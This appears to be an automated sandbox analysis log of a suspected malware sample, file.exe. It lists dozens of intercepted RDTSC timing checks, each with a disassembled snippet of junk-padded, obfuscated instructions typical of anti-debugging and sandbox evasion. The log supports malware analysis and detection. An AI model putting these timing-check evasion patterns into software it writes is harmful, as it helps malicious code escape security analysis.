Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E7AF second address: C5E7C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B2615Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F15B4B2615Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F389 second address: C5F3A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4F0F8E5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F590 second address: C5F596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C625FA second address: C6263B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push ecx 0x00000009 mov ebx, dword ptr [ebp+122D3F7Fh] 0x0000000f pop ebx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F15B4F0F8D8h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c push 00000000h 0x0000002e mov edi, 12D4B607h 0x00000033 xchg eax, esi 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6263B second address: C62642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64536 second address: C64540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64540 second address: C64546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6389D second address: C638A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C638A1 second address: C638A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C645DA second address: C645DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C645DE second address: C645E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C645E2 second address: C645EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C67F10 second address: C67F7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B2615Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c add bx, B801h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F15B4B26158h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D3CB4h], ecx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 call 00007F15B4B26158h 0x0000003d pop eax 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc eax 0x0000004b push eax 0x0000004c ret 0x0000004d pop eax 0x0000004e ret 0x0000004f push eax 0x00000050 jng 00007F15B4B26160h 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C68FBC second address: C68FC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C680E8 second address: C680F2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F15B4B26156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6915E second address: C69169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F15B4F0F8D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69169 second address: C6916F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6AF0E second address: C6AF88 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F15B4F0F8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jo 00007F15B4F0F8D6h 0x00000011 pop eax 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 pushad 0x00000017 mov ecx, edx 0x00000019 jnp 00007F15B4F0F8D9h 0x0000001f popad 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007F15B4F0F8D8h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 0000001Ch 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c mov ebx, 413B3F37h 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push ecx 0x00000046 call 00007F15B4F0F8D8h 0x0000004b pop ecx 0x0000004c mov dword ptr [esp+04h], ecx 0x00000050 add dword ptr [esp+04h], 00000015h 0x00000058 inc ecx 0x00000059 push ecx 0x0000005a ret 0x0000005b pop ecx 0x0000005c ret 0x0000005d add ebx, dword ptr [ebp+12457202h] 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 push edx 0x00000067 pushad 0x00000068 popad 0x00000069 pop edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6916F second address: C69210 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F15B4B26158h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 push dword ptr fs:[00000000h] 0x0000002a jne 00007F15B4B2615Eh 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 movzx edi, cx 0x0000003a mov eax, dword ptr [ebp+122D0A21h] 0x00000040 push 00000000h 0x00000042 push ecx 0x00000043 call 00007F15B4B26158h 0x00000048 pop ecx 0x00000049 mov dword ptr [esp+04h], ecx 0x0000004d add dword ptr [esp+04h], 00000017h 0x00000055 inc ecx 0x00000056 push ecx 0x00000057 ret 0x00000058 pop ecx 0x00000059 ret 0x0000005a sub dword ptr [ebp+122D3F3Fh], edi 0x00000060 mov edi, 1475220Ch 0x00000065 and di, 62E7h 0x0000006a push FFFFFFFFh 0x0000006c mov ebx, 70F344A7h 0x00000071 nop 0x00000072 jmp 00007F15B4B26164h 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a push eax 0x0000007b push edx 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69210 second address: C69214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69214 second address: C6921E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F15B4B26156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6921E second address: C69228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F15B4F0F8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E07A second address: C6E084 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E084 second address: C6E088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C70207 second address: C7020D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C1F7 second address: C6C217 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F15B4F0F8DEh 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D219 second address: C6D227 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F15B4B26156h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7020D second address: C70213 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C217 second address: C6C21B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C70213 second address: C70217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C21B second address: C6C221 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C221 second address: C6C227 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C227 second address: C6C22B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C22B second address: C6C28E instructions: 0x00000000 rdtsc 0x00000002 je 00007F15B4F0F8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov bh, dh 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov edi, dword ptr [ebp+122D306Fh] 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 push 00000000h 0x00000025 push ebp 0x00000026 call 00007F15B4F0F8D8h 0x0000002b pop ebp 0x0000002c mov dword ptr [esp+04h], ebp 0x00000030 add dword ptr [esp+04h], 00000014h 0x00000038 inc ebp 0x00000039 push ebp 0x0000003a ret 0x0000003b pop ebp 0x0000003c ret 0x0000003d mov dword ptr [ebp+1244BC82h], ebx 0x00000043 mov eax, dword ptr [ebp+122D0605h] 0x00000049 mov ebx, dword ptr [ebp+122D2E83h] 0x0000004f sub bx, 466Ah 0x00000054 push FFFFFFFFh 0x00000056 or edi, dword ptr [ebp+122D2FB3h] 0x0000005c push eax 0x0000005d push edx 0x0000005e push ecx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C70FFA second address: C71067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, edx 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F15B4B26158h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D3EE0h], ebx 0x0000002e mov ebx, dword ptr [ebp+122D2541h] 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007F15B4B26158h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 xchg eax, esi 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F15B4B2615Dh 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72053 second address: C72057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C712B7 second address: C712BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C712BB second address: C712C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C712C1 second address: C712CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F15B4B26156h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73211 second address: C7321F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jg 00007F15B4F0F8D6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C732CB second address: C732CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C732CF second address: C732D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C732D5 second address: C732DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C79E77 second address: C79E7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C79E7B second address: C79E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8717B second address: C87185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C87185 second address: C8718A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8718A second address: C871A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F15B4F0F8D6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jc 00007F15B4F0F8E2h 0x00000012 jbe 00007F15B4F0F8D6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C872BF second address: C872DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B2615Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F15B4B26156h 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C872DC second address: C872EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C87460 second address: C87466 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8778D second address: C87793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C87AA7 second address: C87AAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C87AAC second address: C87AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C87AB4 second address: C87ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8DE70 second address: C8DE7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F15B4F0F8DCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CA64 second address: C8CA86 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F15B4B26164h 0x0000000d ja 00007F15B4B26156h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8DC28 second address: C8DC2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8DC2E second address: C8DC32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C92D7B second address: C92D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C92D81 second address: C92DAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26165h 0x00000007 push edi 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jng 00007F15B4B26156h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C92DAA second address: C92DBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F15B4F0F8D6h 0x0000000a popad 0x0000000b js 00007F15B4F0F8DCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C92DBD second address: C92DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F15B4B2615Bh 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C934F8 second address: C93510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F15B4F0F8E0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93510 second address: C93514 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93514 second address: C9352C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F15B4F0F8DCh 0x0000000c jnc 00007F15B4F0F8D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C937E4 second address: C937F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B2615Ah 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93A8C second address: C93AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F15B4F0F8D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jo 00007F15B4F0F8D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93AA1 second address: C93AA7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F29C second address: C3F2A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F2A2 second address: C3F2A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F2A9 second address: C3F2B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F15B4F0F8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F2B3 second address: C3F2E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jp 00007F15B4B26158h 0x0000000f pushad 0x00000010 jmp 00007F15B4B26169h 0x00000015 jnp 00007F15B4B26156h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F2E6 second address: C3F2EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F2EF second address: C3F2F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F2F3 second address: C3F2F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F2F7 second address: C3F2FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F2FD second address: C3F31C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F15B4F0F8E5h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C929F4 second address: C929FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F15B4B26156h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C929FF second address: C92A28 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F15B4F0F8E2h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F15B4F0F8E3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9799C second address: C979A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F15B4B26156h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C979A7 second address: C979AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C979AF second address: C979BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jnc 00007F15B4B26156h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9A502 second address: C9A506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55860 second address: C55866 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
